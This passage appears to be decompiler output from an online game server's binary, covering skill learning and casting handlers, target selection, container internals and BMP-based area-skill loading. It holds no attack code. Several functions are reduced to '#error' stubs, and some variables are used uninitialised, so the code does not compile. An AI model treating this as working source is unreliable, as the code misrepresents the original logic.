>::iterator)v2->csl_Skill._Myfirst; v8 = 0; if ( v3 ) { v4 = (std::vector >::iterator)v2->csl_Skill._Mylast; if ( (signed int)((char *)v2->csl_Skill._Mylast - *(_DWORD *)&v3) / 20 ) { compare.cs_SkillId = *(_WORD *)&skill; std::_Lower_bound>::iterator_CharaterSkillList::CharSkill_int_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( &skill, v3, v4, &compare, CharaterSkillList::CharSkill::cs_Compare_STLVer, 0); v5 = skill; if ( !CharaterSkillList::CharSkill::cs_Compare_STLVer(&compare, *(CharaterSkillList::CharSkill **)&skill) ) { std::_Copy_opt( (CharaterSkillList::CharSkill *)(*(_DWORD *)&v5 + 20), v2->csl_Skill._Mylast, *(CharaterSkillList::CharSkill **)&v5, (std::_Nonscalar_ptr_iterator_tag)skill.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v6 = v2->csl_SkillNumber - 1; --v2->csl_Skill._Mylast; v2->csl_SkillNumber = v6; } } } --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_UnLearn"); } //----- (0054DD00) -------------------------------------------------------- void __thiscall std::deque>::_Xlen(std::deque > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "deque too long", 0x11u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (0054DD70) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_UnlearnSkillAck(void *this, int ack) { void *v2; // esi@1 signed __int16 v3; // bx@1 unsigned __int16 v4; // di@1 char *v5; // eax@5 int v6; // eax@7 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_UnlearnSkillAck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_UnlearnSkillAck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_WORD *)(ack + 8); v4 = *(_WORD *)(ack + 6); if ( v3 == 5377 ) { if ( v4 >= 0x7530u ) { v4 -= 30000; v3 = 5381; CharacterPassiveList::cpl_UnLearn((CharacterPassiveList *)((char *)v2 + 68532), v4); (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 868))(v2); (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 872))(v2); } else { CharaterSkillList::csl_UnLearn((CharaterSkillList *)((char *)v2 + 68496), v4); } } v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 18471; *((_WORD *)v5 + 1) = v4; *((_WORD *)v5 + 2) = v3; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v6 + 12))(v6, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_UNLEARN_REQ : Packet Too Long", 6); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_UnlearnSkillAck"); } //----- (0054DEB0) -------------------------------------------------------- void __thiscall std::deque>::_Growmap(std::deque > *this, unsigned int _Count) { std::deque > *v2; // ebx@1 unsigned int v3; // eax@1 unsigned int v4; // edi@1 unsigned int v5; // ecx@3 unsigned int v6; // ebp@8 void *v7; // eax@8 #593 ***v8; // ecx@8 signed int v9; // esi@8 unsigned int v10; // ST30_4@8 char *v11; // ecx@8 int v12; // eax@8 char *v13; // eax@8 int v14; // eax@9 void *v15; // edi@12 unsigned int v16; // ecx@12 unsigned int v17; // esi@13 #593 ***v18; // eax@13 unsigned int v19; // eax@18 char *dst; // [sp+8h] [bp-Ch]@8 unsigned int v21; // [sp+10h] [bp-4h]@9 v2 = this; v3 = this->_Mapsize; v4 = _Count; if ( (unsigned int)((char *)&pathfindtable.pft_table[1103][975].pfc_from.y + -v3 + 3) < _Count ) std::deque>::_Xlen(this); v5 = v3 >> 1; if ( v3 >> 1 < 8 ) v5 = 8; if ( _Count < v5 && v3 <= (unsigned int)((char *)&pathfindtable.pft_table[1103][975].pfc_from.y + -v5 + 3) ) { _Count = v5; v4 = v5; } v6 = v2->_Myoff >> 2; v7 = operator new(4 * (v4 + v3)); v8 = v2->_Map; v9 = 4 * v6; dst = (char *)v7; v10 = 4 * ((signed int)((char *)v8 + 4 * v2->_Mapsize - (_DWORD)&v8[v6]) >> 2); memmove((char *)v7 + 4 * v6, (char *)&v8[v6], v10); v11 = (char *)v2->_Map; v13 = (char *)(v10 + v12); if ( v6 > v4 ) { memmove(v13, v11, 4 * ((signed int)(4 * v4) >> 2)); v18 = v2->_Map; v17 = (signed int)((char *)v18 + v9 - (_DWORD)&v18[v4]) >> 2; memmove(dst, (char *)&v18[v4], v17 * 4); if ( !v4 ) goto LABEL_16; v16 = v4; v15 = &v18[v17]; goto LABEL_15; } v21 = 4 * (v9 >> 2); memmove(v13, v11, v21); if ( v4 != v6 ) { memset((void *)(v21 + v14), 0, 4 * (v4 - v6)); v4 = _Count; } if ( v6 ) { v15 = dst; v16 = v6; LABEL_15: memset(v15, 0, 4 * v16); v4 = _Count; } LABEL_16: if ( v2->_Map ) operator delete(v2->_Map); v19 = v2->_Mapsize; v2->_Map = (#593 ***)dst; v2->_Mapsize = v4 + v19; } //----- (0054E010) -------------------------------------------------------- #error "54E010: undefined or illegal type '#593' (funcsize=47)" //----- (0054E090) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Val) { std::vector > *v4; // edi@1 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)(*(_DWORD *)&_Where - (_DWORD)v5 + ((unsigned __int64)(-1840700269i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32)) >> 3; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n( this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (0054E100) -------------------------------------------------------- #error "54E100: undefined or illegal type '#615' (funcsize=113)" //----- (0054E2B0) -------------------------------------------------------- #error "54E2B0: undefined or illegal type '#615' (funcsize=259)" //----- (0054E690) -------------------------------------------------------- #error "54E690: undefined or illegal type '#615' (funcsize=213)" //----- (0054E970) -------------------------------------------------------- #593 *__thiscall ShineObjectClass::ShineMobileObject::so_smo_GetRandomTarget_Object(int this, int pSkillIndex, char *nRange, void *a4) { int v4; // ebp@1 int v5; // eax@2 #593 *result; // eax@3 int v7; // edi@4 int v8; // esi@7 #615 *v9; // eax@10 int v10; // eax@10 unsigned __int16 v11; // di@10 int v12; // eax@12 v4 = this; if ( pSkillIndex && (v5 = *(_DWORD *)(pSkillIndex + 4)) != 0 ) { v7 = *(_DWORD *)(this + 78); if ( v7 ) { switch ( *(_DWORD *)(v5 + 184) ) { case 0: v8 = (int)&alnse; goto LABEL_10; case 3: v8 = (int)&alnsf; goto LABEL_10; case 2: case 6: v8 = (int)&alnsp; LABEL_10: v9 = (#615 *)(*(int (__thiscall **)(void *))(*(_DWORD *)a4 + 3052))(a4); AxialListScanSkillTarget::alsst_SetAttacker((AxialListScanSkillTarget *)v8, v9); *(_DWORD *)(v8 + 1644) = *(_DWORD *)v7; *(_DWORD *)(v8 + 1648) = *(_DWORD *)(v7 + 4); *(_DWORD *)(v8 + 1604) = 0; v10 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(a4, v10, v7, nRange, 0, v8, 1, 65535); AxialListNearScan::alns_Sort((AxialListNearScan *)v8); v11 = *(_WORD *)(v4 + 4); if ( *(_BYTE *)(pSkillIndex + 612) == 1 && AxialListNearScan::alns_GetNumber((AxialListNearScan *)v8) > 1 ) { v12 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 3196))(v4); if ( v12 ) v11 = *(_WORD *)(v12 + 4); } AxialListScanSkillTarget::alsst_MakeRandomTargetList((AxialListScanSkillTarget *)v8, 1, v11); result = AxialListScanSkillTarget::alsst_GetRandomTarget((AxialListScanSkillTarget *)v8, 0); break; default: result = 0; break; } } else { result = 0; } } else { result = 0; } return result; } //----- (0054EA90) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Val) { std::vector > *v2; // edi@1 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v3; // ebx@1 int v4; // esi@2 signed int v5; // edx@3 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v6; // esi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((char *)this->_Mylast + (unsigned int)(((unsigned __int64)(-1840700269i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) - (unsigned int)v3)) >> 3; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < this->_Myend - v3 ) { v6 = this->_Mylast; std::_Uninit_fill_n>( this->_Mylast, 1u, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( this, (std::vector >::iterator *)&_Val, (std::vector >::iterator)this->_Mylast, _Val); } } //----- (0054EB20) -------------------------------------------------------- void __stdcall ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLCAST_REQ(int netcmd, int len, __int16 handle) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLCAST_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLCAST_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLCAST_REQ Called", 0); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLCAST_REQ"); } //----- (0054EBC0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_FLD_CAST_REQ(void *this, int netcmd, int len, __int16 handle) { int v4; // esi@1 bool v5; // zf@1 int v6; // eax@8 int v7; // eax@10 Name4 *v8; // eax@10 Name4 *v9; // eax@11 int v10; // edi@18 int v11; // eax@18 SkillDataBox::SkillDataIndex *v12; // eax@20 int v13; // ebp@20 int v14; // eax@22 Name4 *v15; // eax@25 int v16; // eax@27 int v17; // edx@29 int v18; // edx@32 Name4 *v19; // eax@32 int v20; // eax@35 Name4 *v21; // eax@39 char v22; // al@40 int v23; // edx@40 Name4 *v24; // eax@41 unsigned int v25; // edi@41 int v26; // edi@42 unsigned int v27; // edi@43 Name4 *v28; // eax@46 char v29; // al@49 int v30; // eax@52 int v31; // eax@53 Name4 *v32; // eax@56 Name4 *v33; // eax@56 int v34; // eax@59 FunctionEntarance _; // [sp+10h] [bp-20h]@1 int targetcoord; // [sp+14h] [bp-1Ch]@18 int v37; // [sp+18h] [bp-18h]@18 int v38; // [sp+1Ch] [bp-14h]@27 int v39; // [sp+20h] [bp-10h]@27 int v40; // [sp+2Ch] [bp-4h]@1 int netcmda; // [sp+34h] [bp+4h]@18 v4 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_FLD_CAST_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_FLD_CAST_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_FLD_CAST_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = (_S13_27 & 1) == 0; v40 = 0; *(_WORD *)(v4 + 32165) = 4045; if ( v5 ) { _S13_27 |= 1u; stru_130DE3D0.cmc_AllowMode = 4; atexit(_E14_22); } if ( (1 << **(_BYTE **)(v4 + 3568)) & stru_130DE3D0.cmc_AllowMode ) { if ( (*(int (__thiscall **)(int, signed int))(*(_DWORD *)v4 + 1000))(v4, 231) || (*(int (__thiscall **)(int, signed int))(*(_DWORD *)v4 + 1000))(v4, 605) ) { *(_WORD *)(v4 + 32165) = 4033; goto LABEL_61; } v6 = *(_DWORD *)(v4 + 98); if ( !v6 || !*(_BYTE *)(*(_DWORD *)(v6 + 12) + 152) ) { *(_WORD *)(v4 + 32165) = 4035; goto LABEL_61; } v7 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1320))(v4); List::l_4AllInList( (List *)(v7 + 3240), AbnormalStateContainer::AbstateElementInObject::aeo_Attack); v8 = (Name4 *)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1384))(v4); NameString::operator__(&namestring, v8); if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 3336))(v4) ) { v9 = (Name4 *)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1384))(v4); NameString::operator__(&namestring, v9); *(_WORD *)(v4 + 32165) = 4036; v40 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } if ( *(_BYTE *)(v4 + 7428) & 4 ) { *(_WORD *)(v4 + 32165) = 4044; v40 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 3464))(v4) ) { *(_WORD *)(v4 + 32165) = 4050; v40 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2536))(v4) ) { *(_WORD *)(v4 + 32165) = 4032; v40 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2256))(v4); v10 = netcmd; v11 = *(_DWORD *)(netcmd + 4); v37 = *(_DWORD *)(netcmd + 8); netcmda = netcmd + 4; targetcoord = v11; ShineObjectClass::ShineObject::so_FindBlockLocate( (void *)v4, netcmda, 10000, (int)&targetcoord, (int (__thiscall *)(_DWORD, _DWORD, _DWORD))MapBlock::MapBlockInformation::mbi_IsAttackBlock); if ( *(_DWORD *)netcmda != targetcoord || *(_DWORD *)(v10 + 8) != v37 ) { v34 = *(_DWORD *)v4; *(_WORD *)(v4 + 32165) = 4049; (*(void (__thiscall **)(int))(v34 + 3400))(v4); v40 = -1; goto LABEL_58; } v12 = SkillDataBox::operator__(&skilldatabox, *(_WORD *)(v10 + 2)); v13 = (int)v12; v14 = v12 && v12->sdi_Activ->SkillTargetState != 2; if ( AssertClass::operator__( &shineassert, v14, "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_FLD_CAST_REQ : Not skill", *(_WORD *)(v10 + 2)) ) { v15 = (Name4 *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1384))(v4); NameString::operator__(&namestring, v15); *(_WORD *)(v4 + 32165) = 4038; LABEL_57: v40 = -1; LABEL_58: FunctionEntarance::_FunctionEntarance(&_); return; } if ( *(_BYTE *)(v13 + 436) ) { v16 = *(_DWORD *)netcmda; v39 = *(_DWORD *)(netcmda + 4); v38 = v16; ShineObjectClass::ShineObject::so_FindBlockLocate( (void *)v4, netcmda, 10000, (int)&v38, (int (__thiscall *)(_DWORD, _DWORD, _DWORD))MapBlock::MapBlockInformation::mbi_IsMoveBlock); if ( *(_DWORD *)netcmda != v38 || *(_DWORD *)(v10 + 8) != v39 ) { v17 = *(_DWORD *)v4; *(_WORD *)(v4 + 32165) = 4049; (*(void (__thiscall **)(int))(v17 + 3400))(v4); goto LABEL_57; } } if ( *(_DWORD *)(v4 + 236) == 3 ) { if ( *(_WORD *)(*(_DWORD *)(v13 + 4) + 199) ) { v18 = *(_DWORD *)v4; *(_WORD *)(v4 + 32165) = 4040; v19 = (Name4 *)(*(int (__thiscall **)(int))(v18 + 1384))(v4); NameString::operator__(&namestring, v19); goto LABEL_57; } if ( *(_BYTE *)(v13 + 436) || *(_BYTE *)(v13 + 460) ) { v20 = *(_DWORD *)v4; *(_WORD *)(v4 + 32165) = 4040; (*(void (__thiscall **)(int))(v20 + 3400))(v4); goto LABEL_57; } } if ( ShineObjectClass::ShineMobileObject::smo_SkillBlastOption((void *)v4) == 2 ) { *(_WORD *)(v4 + 32165) = 4039; goto LABEL_57; } if ( !CharaterSkillList::csl_CoolTimeCheck((CharaterSkillList *)(v4 + 68496), (#593 *)v4, *(_WORD *)(v10 + 2)) ) { v21 = (Name4 *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1384))(v4); NameString::operator__(&namestring, v21); *(_WORD *)(v4 + 32165) = 4040; goto LABEL_57; } (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v4 + 3432))(v4, *(_WORD *)(v10 + 2)); v22 = CharaterSkillList::csl_SPCheck( (CharaterSkillList *)(v4 + 68496), (#593 *)v4, *(_WORD *)(v10 + 2), (SkillDataBox::SkillDataIndex *)v13, (SKILL_EMPOWER *)(v4 + 7224), 0); v23 = *(_DWORD *)v4; if ( !v22 ) { v24 = (Name4 *)(*(int (__thiscall **)(int))(v23 + 1384))(v4); NameString::operator__(&namestring, v24); v25 = ((unsigned int)((unsigned int)(*(_DWORD *)(*(_DWORD *)(v13 + 4) + 172) * (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1260))(v4)) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3) >> 32) >> 6) + *(_DWORD *)(*(_DWORD *)(v13 + 4) + 168); *(_WORD *)(v4 + 32165) = v25 < (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1252))(v4) ? 4041 : 4053; goto LABEL_57; } v26 = *(_DWORD *)(v13 + 168) + (*(int (__thiscall **)(int))(v23 + 1732))(v4); if ( ((unsigned int)(10 * v26) >> 3) - v26 <= 0x3C ) v27 = (unsigned int)(10 * v26) >> 3; else v27 = v26 + 60; if ( ShineObjectClass::ShineObject::so_DistanceSquar(v4, netcmda) > v27 * v27 ) { v28 = (Name4 *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1384))(v4); NameString::operator__(&namestring, v28); *(_WORD *)(v4 + 32165) = 4042; goto LABEL_57; } if ( ShineObjectClass::ShinePlayer::TimeScheduler::ts_IsInNormalAttack((ShineObjectClass::ShinePlayer::TimeScheduler *)(v4 + 143172)) ) { (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 3400))(v4); if ( *(_BYTE *)(*(_DWORD *)v13 + 72) ) goto LABEL_52; v29 = *(_BYTE *)(v4 + 139468) | 1; } else { v29 = (*(_BYTE *)(v4 + 139468) ^ *(_BYTE *)(*(_DWORD *)v13 + 71)) & 1 ^ *(_BYTE *)(v4 + 139468); } *(_BYTE *)(v4 + 139468) = v29; LABEL_52: v30 = *(_DWORD *)(v4 + 98); if ( v30 ) { v31 = *(_DWORD *)(v30 + 416); if ( !v31 || !*(_DWORD *)v31 ) *(_BYTE *)(v4 + 139468) &= 0xFEu; } v32 = (Name4 *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1384))(v4); NameString::operator__(&namestring, v32); ShineObjectClass::ShineMobileObject::smo_SkillBash_Casting((void *)v4, v13, 0, netcmda, -1); v33 = (Name4 *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1384))(v4); NameString::operator__(&namestring, v33); *(_BYTE *)(v4 + 139468) &= 0xFDu; *(_WORD *)(v4 + 32165) = 0; goto LABEL_57; } *(_WORD *)(v4 + 32165) = 4032; LABEL_61: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_FLD_CAST_REQ"); } //----- (0054F1D0) -------------------------------------------------------- #error "54F1D0: undefined or illegal type '#593' (funcsize=626)" //----- (0054FAB0) -------------------------------------------------------- #error "54FAB0: undefined or illegal type '#593' (funcsize=217)" //----- (0054FD40) -------------------------------------------------------- #error "54FD40: undefined or illegal type '#593' (funcsize=1675)" //----- (005514D0) -------------------------------------------------------- #error "5514D0: undefined or illegal type '#615' (funcsize=204)" //----- (005517B0) -------------------------------------------------------- #error "5517B0: undefined or illegal type '#615' (funcsize=263)" //----- (00551B50) -------------------------------------------------------- #error "551B50: undefined or illegal type '#593' (funcsize=180)" //----- (00551DD0) -------------------------------------------------------- #error "551DD0: undefined or illegal type '#593' (funcsize=201)" //----- (005520B0) -------------------------------------------------------- #error "5520B0: undefined or illegal type '#615' (funcsize=356)" //----- (00552540) -------------------------------------------------------- #error "552540: undefined or illegal type '#615' (funcsize=208)" //----- (00552810) -------------------------------------------------------- ABSTATEINDEX __thiscall SkillDataBox::sdb_load_IndexSearch(SkillDataBox *this, char *name) { unsigned int v2; // eax@1 ABSTATEINDEX result; // eax@2 AbnormalStateDictionary::AbState::AbStateStr *v4; // esi@3 v2 = BTree::operator__(&unk_6BD318, name); if ( v2 == -1 ) { result = 609; } else { v4 = AbnormalStateDictionary::AbState::as_FromID(&dic_abstate, v2); if ( v4 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_load_IndexSearch : Search error", name); ShineExit("SkillDataBox::sdb_load_IndexSearch"); } result = v4->index->AbStataIndex; } return result; } //----- (00552870) -------------------------------------------------------- void __thiscall SkillDataBox::SkillDataIndex::sdi_SetAbstate(SkillDataBox::SkillDataIndex *this, int sub, char *statename, int strength, int rate) { SkillDataBox::SkillDataIndex *v5; // esi@1 ABSTATEINDEX v6; // eax@1 int v7; // edx@1 v5 = this; v6 = SkillDataBox::sdb_load_IndexSearch(&skilldatabox, statename); *((_DWORD *)&v5->sdi_ServInf + 3 * sub + 30) = strength; v7 = (int)((char *)v5 + 12 * sub); *(_DWORD *)(v7 + 116) = v6; *(_DWORD *)(v7 + 124) = rate; if ( *statename != 45 && v6 == 609 ) { AssertClass::ac_AssertFail( &shineassert, "SkillDataBox::SkillDataIndex::sdi_SetAbstate : StateName wrong", statename); AssertClass::ac_AssertFail( &shineassert, "SkillDataBox::SkillDataIndex::sdi_SetAbstate : StateName wrong", v5->sdi_Activ->ID); ShineExit("SkillDataBox::SkillDataIndex::sdi_SetAbstate"); } } //----- (00552900) -------------------------------------------------------- char __thiscall SkillDataBox::AreaSkillBMPFileLoad(SkillDataBox *this, SkillDataBox::SkillDataIndex::AreaSkillInfo *pAreaSkillSetting) { _iobuf *v2; // eax@4 _iobuf *v3; // ebx@4 int v4; // edi@17 int v5; // ecx@18 void *v6; // eax@21 int i; // edi@22 int v8; // edi@27 int j; // eax@29 int v10; // eax@32 int v11; // ebx@32 int v12; // edi@33 char **v13; // ebp@34 unsigned __int64 v14; // qax@36 int v16; // [sp+Ch] [bp-2384h]@1 char v17; // [sp+10h] [bp-2380h]@10 int v18; // [sp+14h] [bp-237Ch]@17 int v19; // [sp+18h] [bp-2378h]@18 unsigned __int16 v20; // [sp+1Eh] [bp-2372h]@13 char buffer; // [sp+3Ch] [bp-2354h]@7 int offset; // [sp+46h] [bp-234Ah]@27 char file; // [sp+4Ch] [bp-2344h]@4 char v24[8000]; // [sp+44Ch] [bp-1F44h]@28 unsigned int v25; // [sp+238Ch] [bp-4h]@1 v25 = (unsigned int)&v16 ^ __security_cookie; if ( !pAreaSkillSetting ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_Load : data null", 0); ShineExit("SkillDataBox::sdb_Load"); } sprintf(&file, "../9Data/%sAreaBMP/%s.bmp"); v2 = fopen(&file, "rb"); v3 = v2; if ( !v2 ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_Load : BMP file name error", 0); ShineExit("SkillDataBox::sdb_Load"); } if ( fread(&buffer, 0xEu, 1u, v2) != 1 ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_Load : BMP file header info error", 0); ShineExit("SkillDataBox::sdb_Load"); } if ( fread(&v17, 0x2Cu, 1u, v3) != 1 ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_Load : BMP file info error", 0); ShineExit("SkillDataBox::sdb_Load"); } if ( v20 != 1 && v20 != 8 ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_Load : BMP file bit error - biBitCount ", v20); ShineExit("SkillDataBox::sdb_Load"); } v4 = v18; if ( v18 > 8000 || (v5 = v19, v19 > 8000) ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_Load : BMP file size error ", 8000); ShineExit("SkillDataBox::sdb_Load"); } pAreaSkillSetting->AreaCenter_X = v19 / 2; pAreaSkillSetting->AreaCenter_Y = v4 / 2; pAreaSkillSetting->AreaSize_X = v5; pAreaSkillSetting->AreaSize_Y = v4; v6 = malloc(4 * v5); pAreaSkillSetting->AreaBMP = (char **)v6; if ( !v6 ) return 0; for ( i = 0; i < pAreaSkillSetting->AreaSize_X; ++i ) { pAreaSkillSetting->AreaBMP[i] = (char *)malloc(pAreaSkillSetting->AreaSize_Y); if ( !pAreaSkillSetting->AreaBMP[i] ) return 0; } if ( v20 != 1 ) { if ( v20 == 8 ) { fseek(v3, offset, 0); v8 = 0; if ( pAreaSkillSetting->AreaSize_X > 0 ) { while ( fread(v24, 4 * (pAreaSkillSetting->AreaSize_Y + 3) / 4, 1u, v3) == 1 ) { for ( j = 0; j < pAreaSkillSetting->AreaSize_Y; ++j ) pAreaSkillSetting->AreaBMP[v8][j] = v24[j] == 0; ++v8; if ( v8 >= pAreaSkillSetting->AreaSize_X ) goto LABEL_32; } return 0; } } } LABEL_32: fclose(v3); v10 = pAreaSkillSetting->AreaSize_X; v11 = 0; pAreaSkillSetting->AreaSize = 0; if ( v10 > 0 ) { do { v12 = 0; if ( pAreaSkillSetting->AreaSize_Y > 0 ) { v13 = &pAreaSkillSetting->AreaBMP[v11]; do { if ( (*v13)[v12] == 1 ) { v16 = (pAreaSkillSetting->AreaCenter_X - v11) * (pAreaSkillSetting->AreaCenter_X - v11) + (pAreaSkillSetting->AreaCenter_Y - v12) * (pAreaSkillSetting->AreaCenter_Y - v12); v14 = (unsigned __int64)sqrt((double)v16); if ( (signed int)v14 > pAreaSkillSetting->AreaSize ) pAreaSkillSetting->AreaSize = v14; } ++v12; } while ( v12 < pAreaSkillSetting->AreaSize_Y ); } ++v11; } while ( v11 < pAreaSkillSetting->AreaSize_X ); } return 1; } // 552900: using guessed type char var_1F44[8000]; //----- (00552C00) -------------------------------------------------------- void __thiscall SkillDataBox::SkillDataIndex::sdi_Clear(SkillDataBox::SkillDataIndex *this) { int clear; // [sp+0h] [bp-8h]@0 LOBYTE(clear) = 0; *(_DWORD *)&this->sdi_TOPAGGRONO.exist = clear; this->sdi_TOPAGGRONO.value = 0; *(_DWORD *)&this->sdi_RANDOMTARGET.exist = clear; this->sdi_RANDOMTARGET.value = 0; *(_DWORD *)&this->sdi_ABKEEPTIME.exist = clear; this->sdi_ABKEEPTIME.value = 0; *(_DWORD *)&this->sdi_NOTTARGET.exist = clear; this->sdi_NOTTARGET.value = 0; *(_DWORD *)&this->sdi_SETABSTATEME.exist = clear; this->sdi_SETABSTATEME.value = 0; *(_DWORD *)&this->sdi_JUMP.exist = clear; this->sdi_JUMP.value = 0; *(_DWORD *)&this->sdi_TARGETHPDOWNDMGUPRATE.exist = clear; this->sdi_TARGETHPDOWNDMGUPRATE.value = 0; *(_DWORD *)&this->sdi_SHOTSPEED.exist = clear; this->sdi_SHOTSPEED.value = 0; *(_DWORD *)&this->sdi_MAXDMGDOWNRATE.exist = clear; this->sdi_MAXDMGDOWNRATE.value = 0; *(_DWORD *)&this->sdi_DMGDOWNRATE.exist = clear; this->sdi_DMGDOWNRATE.value = 0; *(_DWORD *)&this->sdi_NEXTTARGETAREA.exist = clear; this->sdi_NEXTTARGETAREA.value = 0; *(_DWORD *)&this->sdi_RANDOMTARGETNUMBER.exist = clear; this->sdi_RANDOMTARGETNUMBER.value = 0; *(_DWORD *)&this->sdi_SETABSTATEFRIEND.exist = clear; this->sdi_SETABSTATEFRIEND.value = 0; *(_DWORD *)&this->sdi_HEALFRIENDRATE.exist = clear; this->sdi_HEALFRIENDRATE.value = 0; *(_DWORD *)&this->sdi_MAGICFIELD_PARTY.exist = clear; this->sdi_MAGICFIELD_PARTY.value = 0; *(_DWORD *)&this->sdi_BOMBDISPELALL.exist = clear; 